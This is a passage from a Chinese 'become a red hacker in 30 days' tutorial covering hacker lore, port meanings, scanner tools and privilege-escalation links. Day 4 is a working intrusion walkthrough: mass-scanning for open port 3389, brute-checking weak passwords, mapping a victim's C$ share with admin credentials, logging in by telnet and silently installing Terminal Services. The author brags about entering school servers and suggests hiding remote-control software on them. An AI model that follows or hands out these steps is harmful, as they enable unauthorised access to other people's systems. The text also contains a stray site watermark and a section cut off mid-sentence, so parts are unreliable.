
30天
打造专业红客

《30 天打造专业红客》

作者：地狱之挽歌

『第 1 天』何谓黑客?

何谓“黑客”

黑客是英文“HACKER”的音译。动词原形为“HACK”，意为“劈”、“砍”。英文词典是这样解释黑客行为：未经授权进入一个计算机的存储系统，如数据库。中文译成“黑客”贬义比英文原义似乎略重，有“未经允许”等不合法的含义。另一种说法是，HACK 是本世纪早期麻省理工学院俚语，有“恶作剧”之意，尤其指手法巧妙，技术高明的恶作剧，并且带有反既有体制的色彩。

四代黑客铸就了网络

有人说，美国人创造了黑客，如同他们创造了牛仔。

本世纪 60 至 70 年代，一群大学计算机系教室里的知识分子利用“分时系统”技术把计算机主机变成了事实上的个人计算机，从而使更多的人有机会接触到计算机。这些人就是第一代黑客。当时做一名计算机黑客是一件很荣耀的事，它意味着对电脑的全身心的投入，虽然可能被外人视为疯狂之举。

70 年代后期，第二代黑客领头人是大名鼎鼎的史蒂夫。乔布斯、史蒂夫、伍兹尼亚克和费尔森斯坦，发明并产生了个人计算机。他们都是非学术界的，属铁杆反文化的类型。作为坚定的反文化分子，他们使计算机王国的老大 IBM 颜面尽失。

80 年代初出现的第三代黑客,为个人计算机设计了各种应用教育和娱乐程序。特别是米彻·凯普发明的 LOTUS1 1-2-3 电子报表程序促成了 IBM PC 的成功。

第四代黑客出现在 80 年代中期。他们发明了包罗万象的电子公告牌（BBS）和自由平等的以非层级方式连接的 USENET，并且将美国国防部的阿帕网（ARPANET）改造成了今天的互联网络。

黑客的“道德准则”

互联网现在有上千万用户，平均年龄为 30 岁。很多人深信，就像个人计算机改变了 80 年代一样，互联网将改变 90 年代。

“想真正成为黑客，你必须真枪实弹去做黑客应该做的事情。”这是黑客的宣言，并且广告天下，他们声称：不要将你已破解的任何信息与人分享，除非此人绝对可以信赖。不在家庭电话中谈论你 HACK 的任何事情。当你发送相关信息的 BBS 时，对你当前所做的黑事尽可能说得含糊一些，以避免 BBS 受到警告。将你的黑客资料放在安全的地方。在 BBS 上 POST 文章的时候不要使用真名和真实的电话号码。如果你黑了某个系统，绝对不要留下任何蛛丝马迹。

显然，一些所谓的道德准则是需要打上一个引号的。但也确实有一些是较为人称道的。如：不要侵入或破坏政府机关的主机；不恶意破坏任何系统；不破化别人的软件或资料……

一切信息都应该是免费的

“一切信息都应该是免费的”。黑客们也有自己的伦理原则。他们深信，任何一个人都能在计算机上

创造艺术与美，计算机能够使生活变得更美好。

黑客最重要的信条是不相信权威当局，提倡依*自己。他们把美国已故肯尼迪的话，“不要问你的国家能为你做些什么，要问你能为国家做些什么”改成了“不要问你的国家能为你做些什么，你自己做”。因此，他们中大多数人一改过去学术界蔑视商界的传统，半途辍学支办自己的公司。他们认为信息应该是免费的信息创造了“免费软件”和“共享软件”的概念，使得每个需要这些软件的人都可以得到它们。

坚持“三项基本原则”

国外《PHRACK》杂志被认为是黑客的“官方”新闻通讯，它把黑客的思想扩展成一些基本原则，被概括为一些基本原则。主要内容为“因为设备的高代价超出了大多数黑客的财力，它在感觉上造成的结果是，劈和砍是把计算机知识传给大众的唯一办法”。黑客们坚决反对“权利”只属于那些有权进入和使用现代技术的群体。

基于上述的分析来看，要认识黑客的确不是一件容易的事。不过我们似乎已经明白，黑客不应该总在贬义上被使用。而是应该记住雨果、康沃尔在《黑客手册》一书说的话：“黑客活动的乐趣和报偿纯粹是智力上的”，他们“不过沿袭了一个长期的历史传统，人类社会中，总有那么一批人对机器和技术着迷，他们使用技术时抱着一种嬉戏的态度，以观察会有什么结果发生”。

还有我希望提醒大家严格遵守守则，另外中国的法律在健全，请不要随意做破坏网络的事。

『第 2 天』从端口说起

有些端口是比较重要的比如 135，137，138，139，445 之类，那我扫描到的端口到底有什么用?我想你肯定要问，这样今天，我就用一个真实的扫描向你讲述扫到的端口的用途。

被扫的主机：192.***.xx.x

主机 IP 数：4

发现的安全漏洞：7 个

安全弱点：45 个

系统： Standard: Solaris 2.x, Linux 2.1.???, Linux 2.2, MacOS

Telnet (23/tcp)

ssh (22/tcp)

ftp (21/tcp) (发现安全漏洞)

netstat (15/tcp)

daytime (13/tcp)

systat (11/tcp)

echo (7/tcp)

time (37/tcp)

smtp (25/tcp)

www (80/tcp) (发现安全漏洞)

finger (79/tcp)

auth (113/tcp)

sunrpc (111/tcp)

pop-2 (109/tcp)

linuxconf (98/tcp)

imap2 (143/tcp)

printer (515/tcp)

shell (514/tcp)

login (513/tcp)

exec (512/tcp)

unknown (693/tcp)

unknown (698/tcp)

unknown (727/tcp)

swat (910/tcp)

unknown (1025/tcp)

unknown (1039/tcp)

unknown (1038/tcp)

unknown (1037/tcp)

unknown (1035/tcp)

unknown (1034/tcp)

unknown (3001/tcp)

unknown (6000/tcp)

echo (7/udp)

general/tcp

daytime (13/udp)

unknown (728/udp) (发现安全漏洞)

unknown (2049/udp)

unknown (681/udp)

unknown (2049/tcp)(发现安全漏洞)

可用 telnet 登录的端口 (23/tcp)

这个信息表明远程登录服务正在运行，在这里你可以远程登录到该主机，这种不用密码的远程登录服务是危险的，如果可以匿名登录，任何人可以在服务器和客户端之间发送数据。

发现的可攻击弱点 (21/tcp)

我在那里发现了一个目录是可写的：

/incoming

ftp 端口 (21/tcp)

ftp 服务 TELNET 服务一样，是可以匿名登录的，而且在有的机器上它还允许你执行远程命令，比如 CWD ~XXXX，如果你能 CWD ROOT 成功，那你就可以获得最高权限了，不过这样的好事好像不多。另外，有时还能用它获得一个可用的帐号(guest),或得知主机在运行什么系统

13/tcP(daytime)

从这里可以得知服务器在全天候运行，这样就有助于一个入侵者有足够的时间获取该主机运行的系统，再加上 udp 也在全天候的运行，这样可以使入侵者通过 UDP 欺骗达到主机拒绝服务的目的

ECHO(7/tcp)

这个端口现在没什么用处，但它可能成为一个问题的来源，顺着它有可能找到其它端口以达到拒绝服务的目的。

(25/tcp)smtp 端口

该端口开放邮件传输协议

回应可执行 EXPN 和 VRFY 命令

EXPN 可以发现发送邮件的名称或者能找到一个完整的邮件接收人的名称。

VRFY 命令可以用来检测一个帐号的合法性

我们可以试着发这样一个类型的邮件给它：

user@hostname1@victim

我们会收到一个这样的邮件：

user@hostname1

也许我们就能用它穿过防火墙

WWW(80/TCP)端口

它表明 WWW 服务在该端口运行

finger (79/tcp) 端口

finger 服务对入侵者来说是一个非常有用的信息，从它可以获得用户信息，查看机器的运行情况等

auth (113/tcp)

ident 服务披露给入侵者的将是较敏感的信息，从它可以得知哪个帐号运行的是什么样的服务，这将有助于入侵者集中精力去获取最有用的帐号(也就是哪些人拥有 ROOT 权限)

(98/tcp) LINUX 在这个端口上运行

(513/tcp) RLOGIN 在这个端口上运行

这种服务形同于 TELNET，任何人可以在它的引导下在客户端和服务端之间传送数据。

exec (512/tcp)

rexecd 在该端口开放,该服务使一个破译者有机会从它那里扫描到另外一个 IP，或者利用它穿过防火墙。

也许你还能发现很多端口，不同的端口会有不同的作用

我最喜欢开 135 端口的，我们学校的几个 FTP 和主机都开了 135 端口，还用默认密码（不知道是为什么，我想主要是管理员考虑我们找不到肉鸡了『都 2004 年了，肉鸡很难找的，因为各位大侠都用着呢』，所以特地给我们准备好了），把我高兴的几天都没睡好，可惜里面没什么东西。只能当空间用着了。不过我们学校的主机大都用的是 UNIX 的，不是瘟二钱的，所以也让人有点郁闷啊，UNIX 有点复杂，我只得从 0 学，还有点难，我会在后面讲到的，现在我们主要是关注 WIN2000 操作系统的主机了，说到这不能不提一下 WIN2K 源代码的泄漏，兄弟我在第一时间拿到了这个泄漏的源代码，有 230M，还真多，看了一个晚上，也不怎么了解，反正有的是时间，先贴一段，大家瞧瞧，有看懂的，就不用来这看这了，呵呵

贴在网络技术里了

至于软件方面我喜欢用流光（有些人或许不知道这是什么），是扫描器，很好用，是国产的，就是前面访问的小容做的，但他在里面设置了限制不许 PING 国内的主机，但好多大哥早就破掉了（感觉很幸福啊，不用自己破了），现在的最高版本好像是流光 5.0 吧，到 GOOGLE 上搜一下就能找到 N 个，我就不说了（要提高动手能力嘛）

下面我来介绍几种常见的扫描器：

一。NSS（网络安全扫描器）

NSS 由 Perl 语言编成，它最根本的价值在于它的速度，它运行速度非常快，它可以执行下列常规检

查：

■Sendmail

■匿名 FTP

■NFS 出口

■TFTP

■Hosts.equiv

■Xhost

注：除非你拥有最高特权，否则 NSS 不允许你执行 Hosts.equiv。

利用 NSS，用户可以增加更强大的功能，其中包括：

■AppleTalk 扫描

■Novell 扫描

■LAN 管理员扫描

■可扫描子网

简单地说，NSS 执行的进程包括：

■取得指定域的列表或报告，该域原本不存在这类列表

■用 Ping 命令确定指定主机是否是活性的

■扫描目标主机的端口

■报告指定地址的漏洞

尽管没有详尽讨论 NSS，但我在这里要说明一些次要的问题：

■在对 NSS 进行解压缩后，不能立即运行 NSS，需要对它进行一些修改，必须设置一些环境变量，以适应你的机器配置。主要变量包括：

■$TmpDir_NSS 使用的临时目录

■$YPX-ypx 应用程序的目录

■$PING_可执行的 ping 命令的目录

■$XWININFO_xwininfo 的目录

提示：如果你隐藏了 Perl include 目录（目录中有 Perl include 文件），并且在 PATH 环境变量中没有包含该目录，你需要加上这个目录；同时，用户应该注意 NSS 需要 ftplib.pl 库函数。NSS 具有并行能

力，可以在许多工作站之间进行分布式扫描。而且，它可以使进程分支。在资源有限的机器上运行 NSS（或未经允许运行 NSS）应该避免这种情况，在代码中有这方面的选项设置。

你可在下面地址找到 NSS 拷贝。 http://www.giga.or.at/pub/hacker/unix

二。Strobe（超级优化 TCP 端口检测程序）

strobe 是一个 TCP 端口扫描器，它可以记录指定机器的所有开放端口。strobe 运行速度快（其作者声称在适中的时间内，便可扫描整个一个国家的机器）。

strobe 的主要特点是，它能快速识别指定机器上正在运行什么服务。strobe 的主要不足是这类信息是很有限的，一次 strobe 攻击充其量可以提供给“入侵者”一个粗略的指南，告诉什么服务可以被攻击。但是，strobe 用扩展的行命令选项弥补了这个不足。比如，在用大量指定端口扫描主机时，你可以禁止所有重复的端口描述。（仅打印首次端口定义）其他选项包括：

■定义起始和终止端口

■定义在多长时间内接收不到端口或主机响应，便终止这次扫描。

■定义使用的 socket 号码

■定义 strobe 要捕捉的目标主机的文件

提示：在你获得 strobe 的同时，必然获得手册页面，这对于 Solaris 2.3 是一个明显的问题，为了防止发生问题，你必须禁止使用 getpeername()。在行命令中加入-g 标志就可以实现这一目的。

同时，尽管 strobe 没有对远程主机进行广泛测试，但它留下的痕迹与早期的 ISS 一样明显，被 strobe 扫描过的主机会知道这一切（这非常象在/var/adm/messages 文件中执行连接请求）。

三。SATAN（安全管理员的网络分析工具）

SATAN 是为 UNIX 设计的，它主要是用 C 和 Perl 语言编写的（为了用户界面的友好性，还用了一些 HTML 技术）。它能在许多类 UNIX 平台上运行，有些根本不需要移植，而在其他平台上也只是略作移植。

注意：在 Linux 上运行 SATAN 有一个特殊问题，应用于原系统的某些规则在 Linus 平台上会引起系统失效的致命缺陷；在 tcp-scan 模块中实现 select()调用也会产生问题；最后要说的是，如果用户扫描一个完整子网，则会引进反向 fping 爆炸，也即套接字（socket）缓冲溢出。但是，有一个站点不但包含了用于 Linux 的、改进的 SATAN 二进制代码，还包含了 diff 文件，这些条款可以在 ftp.lod.com

上发现，或者可以直接从 Sun 站点（sunsite.unc.edu）取得 diff 文件：

/pub/linux/system/network/admin/satan-linux.1.1.1.diff.gz

SATAN 用于扫描远程主机的许多已知的漏洞，其中包括，但并不限于下列这些漏洞：

■FTPD 脆弱性和可写的 FTP 目录

■NFS 脆弱性

■NIS 脆弱性

■RSH 脆弱性

■Sendmail

■X 服务器脆弱性

你可在下面地址中获得 SATAN 的拷贝： http://www.fish.com

安装过程

SATAN 的安装和其他应用程序一样，每个平台上的 SATAN 目录可能略有不同，但一般都是/satan-1.1.1。安装的第一步（在阅读了使用文档说明后）是运行 Perl 程序 reconfig。这个程序搜索各种不同的组成成分，并定义目录路径。如果它不能找到或定义一个浏览器。则运行失败，那些把浏览器安装在非标准目录中（并且没有在 PATH 中进行设置）的用户将不得不手工进行设置。同样，那些没有用 DNS（未在自己机器上运行 DNS）的用户也必须在/satan-1.1.1/conf/satan.cf 中进行下列设置：$dont_use_nslookuo=1；在解决了全部路径问题后，用户可以在分布式系统上运行安装程序（IRIX 或 SunOS），我建议要非常仔细地观察编译，以找出错误。

提示：SATAN 比一般扫描器需要更多一些的资源，尤其是在内存和处理器功能方面要求更高一些。如果你在运行 SATAN 时速度很慢，可以尝试几种解决办法。最直接的办法就是扩大内存和提高处理器能力，但是，如果这种办法不行，我建议用下面两种方法：一是尽可能地删除其他进程；二是把你一次扫描主机的数量限制在 100 台以下。最后说明的一点是，对于没有强大的视频支持或内存资源有限的主机，SATAN 有一个行命令接口，这一点很重要。

四。Jakal

Jakal 是一个秘密扫描器，也就是就，它可以扫描一个区域（在防火墙后面），而不留下任何痕迹。

秘密扫描器工作时会产生“半扫描”（half scans），它启动（但从不完成）与目标主机的 SYN/ACK 过程。从根本上讲，秘密扫描器绕过了防火墙，并且避开了端口扫描探测器，识别出在防火墙后面运行的是什么服务。（这里包括了像 Courtney 和 GAbriel 这样的精制扫描探测器）

在下面地址中可以找到由 Half life，Jeff(PhiJi)Fay 和 Abdullah Marahie 编写的 Jakal 拷贝：http://www.giga.or.at.pub/hacker/unix

⑸IdentTCPscan

IdentTCPscan 是一个更加专业化的扫描器，其中加入了识别指定 TCP 端口进程的所有者的功能，也就是说，它能测定该进程的 UID。

五.CONNECT

CONNECT 是一个 bin/sh 程序，它的用途是扫描 TFTP 服务子网

六。FSPScan

FSPScan 用于扫描 FSP 服务顺。FSP 代表文件服务协议，是非常类似于 FTP 的 Internet 协议。它提供匿名文件传输，并且据说具有网络过载保护功能（比如，FSP 从来不分*）。FSP 最知名的安全特性可能就是它记录所有到来用户的主机名，这被认为优于 FTP，因为 FTP 仅要求用户的 E-mail 地址（而实际上根本没有进行记录）。FSP 相当流行，现在为 Windows 和 OS/2 开发了 GUI 客户程序

七。XSCAN

XSCAN 扫描具有 X 服务器弱点的子网（或主机）。乍一看，这似乎并不太重要，毕竟其他多数扫描器都能做同样的工作。然而，XSCAN 包括了一个增加的功能：如果它找到了一个脆弱的目标，它会立即加入记录。

XSCAN 的其他优点还包括：可以一次扫描多台主机。这些主机可以在行命令中作为变量键入（并且你可以通过混合匹配同时指定

[第 3 天]继续讲扫描

怎么得到 shell 呢？这很关键，有很多方法：典型的例子是 telnet。得到 shell 的办法有很多种，比如通过系统自带的 telnet，终端服务。或者用木马和工具提供的，如 winshell，冰河等等。说到冰河我不想说那么多没有篇文章很好大家看一下：http://978229.myrice.com/tty/Preview.htm#MAILLISTDOC19

得到 shell 后，不是所有权限都会开的，得到管理员权限当然是我们的梦想了。所以有时会有提升权限的问题。当然这也是利用了漏洞。

Win2K 提升权限漏洞

http://www.yesky.com/20010530/182273.shtml ;

Microsoft SQL Server Webtasks 权限提升漏洞 http://www.mhdn.net/se/2002-11-08/6386.html

Linux kernel ptrace 提升权限漏洞 http://www.softhouse.com.cn/docs/southpark2169.html

IIS 提升权限漏洞

http://moon-soft.com/e_commerce/soft/doc/readelite572760.htm

当然这些漏洞大都有补丁可下了，如果管理员勤快的话就不好了，不过很多人都很马虎的，我认识个管理员是一个高校的，用的是 win2000 竟从不打补丁，理由是俺用的是 D 版的，打补丁恐怕会冲系统啊（有道理啊）

觉得讲 shell 还不透彻（有朋友发短信问我了），我查了一下资料：

Shell 是什么?

任何发明都具有供用户使用的界面。UNIX 供用户使用的界面就是 Shell(DOS 的 command 熟悉吧，但 UNIX 的要强大的多)。 Shell 为用户提供了输入命令和参数并可得到命令执行结果的环境。形象点就是：dos 中的 command.com 就是一种 shell 程序

[第 4 天]从终端服务 3389 讲起

昨天我们讲到了提升权限的问题，好现在我们就来说一个简单的入侵，从 3389 找个肉鸡（没有肉鸡的话，对自己的技术提高是没好处的，不能老是看却不练啊，陈同学你说对吗？）

请各位注意，我这里并不是说什么烂鬼输入法漏洞。这种漏洞差不多已经绝迹了，太难找了，如果有人找到了，那恭喜你啦。众所周知，有开 3389 的一般都是服务器，也就是说有很大可能带局域网的，而内部入侵比外部要方便一点，这对大家是很好的，我想看我这个东西的很多都是学生吧(声明

我就个学生哦）。如何能快速方便的得到开了终端的肉机呢？这需要用到两个工具，都是扫描工具来的，scanner3.0 和焦点的 xscan。打开 scanner，输入一段 IP，范围要大一点，scanner 速度很快的。在“所有端口从”那里都填 3389，点击“开始”就可以开工了。

很快的，扫描完成，结果出来了。点击右下脚的“删除”把多余的 IP 删了，只留下开了 3389 的 IP。再点击“保存”，把结果保存到文件夹里。找到保存文件的目录，打开它。用记事本的替换功能把它保存为一个纯 IP 的 TXT 文件。“编辑－替换”在“查找内容”里输入要删除的垃圾，再点“全部替换”就行了。打开 xscan，点击左边的蓝色按钮，进入“扫描板块”，只需在“SQL-Server 弱口令”“NT-Server 弱口令”前打钩，其他都清除掉。再点击右边的蓝色按钮，进入“扫描参数”，钩上“从文件获取主机列表”，打开刚才替换成纯 IP 的 TXT 文件，确定之后就可以扫描了。这时需要比较长的时间！（注意我是拿 3.0 为例的，其他的也差不多）。确定目标，用 mstsc（登陆终端的工具，这个我不喜欢用，但确实很容易上手的）登陆对方主机后，打开对方 cmd.exe，输入“net use”，先看看有没有人也在连接这部机（安全一点好，毕竟不是在学雷峰啊）。“net view”命令之后当出现一堆前面带\\字符的就表示～～就表示什么呢？？我想大家都非常明白吧!，如果不明白的话，我。。（也不知道怎么说了 ）

想做个补充

发现很多朋友对什么叫终端服务有点模糊

好，我们就详细说说 毕竟这个概念很重要的

终端服务提供了通过作为终端仿真器工作的“瘦客户机”软件远程访问服务器桌面的能力。终端服务只把该程序的用户界面传给客户机。客户机然后返回键盘和鼠标单击动作，以便由服务器处理。每个用户都只能登录并看到它们自己的会话，这些会话由服务器操作系统透明地进行管理，而且与任何其他客户机会话无关。客户软件可以运行在多个客户机硬件设备上，包括计算机和基于 Windows 的终端。其他设备，如 Macintosh 计算机或基于 UNIX 的工作站，也可以使用其他第三方的软件连接到终端服务器。

终端服务可以在应用服务器模式或远程管理模式下在服务器上进行配置。作为应用服务器，终端服务提供了一种有效而可*的方式，通过网络服务器分发基于 Windows 的程序。在应用服务器模式下，终端服务为可能无法正常运行 Windows 的计算机显示 Windows 2000 的桌面以及目前基于 Windows 的大多数应用程序。在远程管理模式下使用时，终端服务提供了远程访问的能力，使您可以从网络上的任何地方虚拟地管理您的服务器。

终端服务有以下好处：

更快地显示 Windows 2000 的桌面。终端服务架设了一座从旧式桌面迁移到 Windows 2000 Professional 的桥梁，为非计算机桌面以及需要进行硬件升级才能在本地完全运行 Windows 2000 操作系统的计算机提供了一种虚拟的 Windows 2000 桌面环境。终端服务客户可用于多种不同的桌面平台，包括 MS-DOS、基于 Windows 的终端、Macintosh 和 UNIX。（与 MS-DOS、Macintosh 和基于 UNIX 的计算机的连接需要附加的软件）。

充分利用已有的硬件。终端服务扩展了分布式计算模型，允许计算机同时作为瘦客户机和具有完整功能的个人计算机操作。当计算机在现有的网络上时，可以继续使用，同时也可作为能仿真 Windows 2000 Professional 桌面的瘦客户机使用。

程序的集中配置。使用运行在 Windows 2000 Server 上的终端服务，所有程序的执行、数据的处理以及数据的存储都在服务器上进行，程序得以集中配置。终端服务可确保所有客户机都能访问当前版本的程序。软件只能在服务器上安装一次，而不能安装在您单位的每个桌面上，这样可减少单独更新计算机所花费的成本。

远程管理。终端服务提供了对 Windows 2000 Server 的远程管理，为系统管理员提供了从任何客户机通过广域网或拨号连接远程管理其服务器的一种方法。

功能：

易于使用

可管理性

安全性

易于使用

功能 说明 详细信息，请参阅：

自动的本地打印机支持 Windows 2000 Server 终端服务可以添加并自动重新连接终端服务客户所连接的打印机。 提供对本地打印机的客户访问

剪贴板重定向 现在，用户可以在运行于本地计算机和终端服务器上的程序之间剪切和粘贴。 共享的剪贴板

性能增强 对缓存功能的增强，包括持久性缓存、数据包的利用和数据帧大小，明显地改进了终端服务的性能。 位图缓存

漫游式断开连接支持 此功能使用户不用注销即可从会话中断开连接。在断开时会话仍可保持活动状态，这使得用户可以从另一台计算机中或在稍后某个时间重新连接到现有会话。重新连接需要登录，以便在任何时候都能保证每个会话的安全性。 注销或断开连接

多登录支持 用户可以登录到多个会话，同时从一个或多个客户机到多个 Windows 2000 Server，或者多次登录到一个服务器。这样，用户就可以同时执行多项任务或运行多个单独的桌面会话。 管理用户和客户机

可管理性

功能 说明 详细信息，请参阅：

会话远程控制 支持者可查看或控制另一终端服务会话。键盘输入、鼠标移动以及图形显示可在两个终端服务会话之间共享，为支持者提供了诊断和解决配置问题以及远程培训用户的能力。此功能对于带有分支机构的单位特别有用。 远程控制

网络负载平衡 网络负载平衡使终端服务客户可连接到运行终端服务的服务器组中最轻闲的成员。网络负载平衡和终端服务 (奇书网|qinkan.net)

基于 Windows 的终端 根据 Windows CE 操作系统和远程桌面协议 (RDP) 的自定义实现，不同的制造商可提供基于 Windows 的终端。

客户连接管理器 管理员和用户可以为一个程序或全部桌面访问建立到服务器的预定义连接。客户连接管理器在客户机桌面上创建图标，以便能通过一次单击连接到一个或多个终端服务器。想在计算环境中提供单个程序的管理员可以创建连接并将该连接与终端服务客户软件一同分发。 管理终端服务用户连接

终端服务授权 终端服务授权帮助系统管理员和采购部门跟踪客户机及其相关许可证。 授权终端服

务

分布式文件系统 (DFS) 支持 对分布式文件系统 (DFS) 的支持使用户可以连接到 DFS 共享位置，而且使管理员可以从终端服务器主控 DFS 共享。 分布式文件系统概述

终端服务管理器 管理员可以使用终端服务管理器查询和管理 Windows 2000 Server 上的终端服务会话、用户和进程。 管理终端服务

终端服务配置 终端服务连接配置可用于创建、修改和删除 Windows 2000 Server 上的一个或一组会话并访问服务器设置。 配置终端服务

与 Windows 2000 Server“本地用户和组”以及“Active Directory 用户和计算机”的集成 管理员可以按照为 Windows 2000 Server 用户创建帐户的相同方式为终端服务用户创建帐户。另有一些字段可用来指定终端服务专用信息，如终端服务配置文件路径和主目录。 终端服务用户帐户

与 Windows 2000 Server 系统监视器的集成 与 Windows 2000 Server 系统监视器的集成使管理员可以监视器终端服务系统性能，包括跟踪处理器的使用情况、内存分配和分页内存使用情况，并在每个用户的会话之间交换。 性能监视

消息传递支持 管理员可以就一些重要的信息警告用户，如系统关机、升级或新程序。 使用终端服务管理器

远程管理 具有管理级特权而且可访问终端服务管理级实用程序的任何用户都可以远程管理运行终端服务的服务器的各方面工作。

可配置的会话超时设置 管理员可以通过配置会话超时来减少服务器资源的使用。管理员可以指定活动会话的长度以及会话可在服务器上闲置多长时间 配置会话限制

安全性

功能 说明 详细信息，请参阅：

加密 多级加密使管理员可以根据安全性需要在三种不同级别（低级、中级或高级）上加密在 Windows 2000 Server 和终端服务客户之间传输的所有或部分数据。另外，终端服务登录过程包括更改密码、桌面解锁以及屏幕保护功能解锁。登录过程是加密的，以确保用户名称和密码的安全传输。终端服务支持在服务器和客户机之间的 40 位和 128 位加密（128 位加密只能在美国和加拿大使用）。 确定加密的级别

限制登录尝试和连接时间 管理员可以限制用户登录尝试次数，以防止有人未授权访问服务器。另外，个别用户或分组用户的连接时间可以进行限制。 配置终端服务

终端服务配置概述

终端服务连接提供了客户机可用于登录到服务器上某个会话的链接。TCP/IP 连接是当终端服务在 Windows 2000 Server 上启用时自动配置的。使用终端服务配置，您可以更改连接的默认属性或添加新连接。

终端服务配置

打开终端服务配置时，您将会看到已经配置的连接。这称为 RDP-TCP 连接。通常，这只是需要为使用终端服务器的客户配置的连接。对于终端服务器，只能为每个网卡配置一个 RDP（远程桌面协议）连接。如果要配置其他的 RDP 连接，您必须安装附加的网卡。

使用终端服务配置，您可以重新配置 RDP-TCP 连接的属性，包括限制客户机会话在服务器上保持活动状态的时间、设置加密的保护级别以及选择您希望用户和组具备的权限。某些连接属性也可以使用“本地用户和组”的终端服务扩展程序在每用户基础上配置。例如，当您使用“本地用户和组”的终端服务扩展程序时，可以为每个用户设置不同会话期限。使用终端服务配置，您可以只在每连接基础上设置会话期限，这意味着相同期限将应用于使用连接登录到服务器的所有用户。

除配置连接以外，您可以使用“终端服务配置”功能配置可应用于终端服务器的设置。包括临时文件夹的设置、默认连接安全性以及启用/禁用 Internet 连接器许可。详细信息，请参阅配置服务器设置。

基于 Citrix CA 的客户机

终端服务配置还用于为基于 Citrix CA 的客户机配置连接。当 Citrix CA 协议和基于 Citrix CA 的客户软件添加到该系统时，可以使用 TCP/IP、同步、IPX/SPX 或 NetBIOS 传输协议配置这些连接

有很多朋友问怎么开启 3389 终端服务下面我们一起来探索一下远程开启 3389 的方法. 首先我们应该了解 3389 终端服务,可以运行在什么系统下,个人了解,终端服务在 M$的大部分

产品中都可运行,如:winnt4/win2000server/win2000ADV-server/win2000DS/XP 等.

但 winnt4 中是需要单独购买的,2000 专业版不能远程安装终端服务的,至少我没成功过.

我们在以下的探索中,是以 win2000server 和高级 server 为例的.(现在用的也最多).

现在开始. 假设我们拿到了一个主机的管理员帐户和密码.

主机: 192.168.0.1

帐号: administrator

密码: 7788

2000 系统安装在 c:\winnt 下

从上面的的介绍可以知道,2000 专业版是不可以远程安装终端服务的,那我们就要首先来

判断此主机是专业版还是服务器版,才能进入下一个环节. 我们可以先用对方所开帐户判断: c:\>letmein \\192.168.0.1 -all -d

stating connecting to server ...

Server local time is: 2002-1-13 10:19:22

Start get all users FORM server...

Total = 5

---

num0= Administrator ()

num1= Guest ()

num2= IUSR_servername (Internet 来宾帐号)

num3= IWAM_servername (启动 IIS 进程帐号)

num4= TsInternetUser (TsInternetUser)

Total = 5

--- 一般情况 num2/3/4 这三个帐户都是 2000server 默认开启的.

2000 专业版默认是不开这些帐户的. 我们也可以扫描对方开放的端口进一步确认:

用扫描软件如:superscan3.exe 扫描对方所开端口

判断对方是否开启 25,3372 等 2000server 默认开启的端口. 当然我们还可以使用一些工具,
如:cmdinfo.zip

这 2 个东东可以获得本地或远程 NT/2K 主机的版本,系统路径,源盘路径,PACK 版本,安装时间等一

系列信息,一个图形界面,一个命令行.

通过返回的信息就可以很清楚的了解对方主机情况. 还有一些其他的方法来判断,如:从对方所开的服务来确定等,

从上面的判断准确率还算高,别的就不一一说明了.

如果你在以上步骤里发现对方主机并没有那 3 个帐户,默认端口也没开,

或 cmdinfo 返回的信息对方是 2000 专业版,你就要放弃安装 3389 的计划了.

现在我们要进入下一环节:

判断终端服务到底有没有安装? 你也许要问:为什么还要判断啊?我扫描没有发现 3389 端口啊

这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到 3389 端口?

1.终端服务 termservice 在"管理工具">>>"服务"中被禁用.

2.终端服务连接所需的 RDP 协议在"管理工具">>>"终端服务配置"中被停用连接.

3.终端服务默认连接端口 3389 被人为的改变.如何改变请看修改终端服务默认的 3389 端口

4.终端服务绑定的网络适配器不是外网的.

5.防火墙和端口过滤之类的问题.

6.....(还有我没想到的)

其实,我们遇到最多的情况就是以上 5 种情况. 现在开始判组件是否被安装. 先与远程主机连接,映射远程主机 C 盘为本地 Z 盘

net use z: \\192.168.0.1\c$ "7788" /user:"administrator"

命令成功完成。 然后转到 Z 盘,检查

Z:\Documents and Settings\All Users\「开始」菜单\程序\管理工具>

里是否有 "终端服务管理器"和"终端服务配置"的快捷方式文件

如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小)

我们还可以在下一步 telnet 到对方主机后使用终端服务自带的命令进一步的核实. 判断完毕,对方好像是没有安装终端服务组件,可以进入下一步:

telnet 登陆对方主机,准备安装服务组件. 在这里,我强烈建议使用 2000 自带的 telnet 服务端登陆,

有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵~,个人理解啊!)

就算没有开,打开用完后再关掉就完了.

.abu.写的最快速登录 WIN2K TELNET 服务已经把这个方法介绍的非常详细,

而且他的办法(在本机建立同名,同密码帐户),让快速实现 telnet 登陆成为现实. 假如我们已开启对方 23 端口,

telnet 192.168.0.1

输入用户名/密码

*===

欢迎使用 Microsoft Telnet 服务器。

*===

C:\>

\\成功进入!!!! 进入后,再次检查终端组件是否安装:

c:\>query user

这个工具需要安装终端服务. 这样就进一步确定了组件没有被安装.如果返回:

USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME

>w1 console 0 运行中 . 2002-1-12 22:5

\\类似这样的信息,可能组件就已安装. 好!都清楚了,可以开始安装了.

C:\>dir c:\sysoc.inf /s //检查 INF 文件的位置

c:\WINNT\inf 的目录 2000-01-10 20:00 3,770 sysoc.inf

1 个文件 3,770 字节

C:\> dir c:\sysocmgr.* /s //检查组件安装程序

c:\WINNT\system32 的目录 2000-01-10 20:00 42,768 sysocmgr.exe

1 个文件 42,768 字节

---

c:\>echo [Components] > c:\wawa

c:\>echo TSEnable = on >> c:\wawa

//这是建立无人参与的安装参数

c:\>type c:\wawa

[Components]

TSEnable = on

//检查参数文件

---

c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\wawa /q

这一条就是真正安装组件的命令.

以上这条命令没有加/R 参数,主机在安装完后自动重起.

如若加了/R 参数主机就不会重起. 如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,

3389 终端服务就已经开启.你就可以连上去了. 问题和建议: A 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot 命令时,对方

的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒. B 一次不行可以再试一次,在实际中很有作用. C 在输入 sysocmgr 命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的

对话框,是 sysocmgr 的帮助,很是显眼,

而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错，所以会有 B 的建议.

好了以后你就想干什么就干什么了。不过有时候还真不知道干什么，总之得干个事，装个什么局域网控制软件，不过不要体积太大，容易被发现。

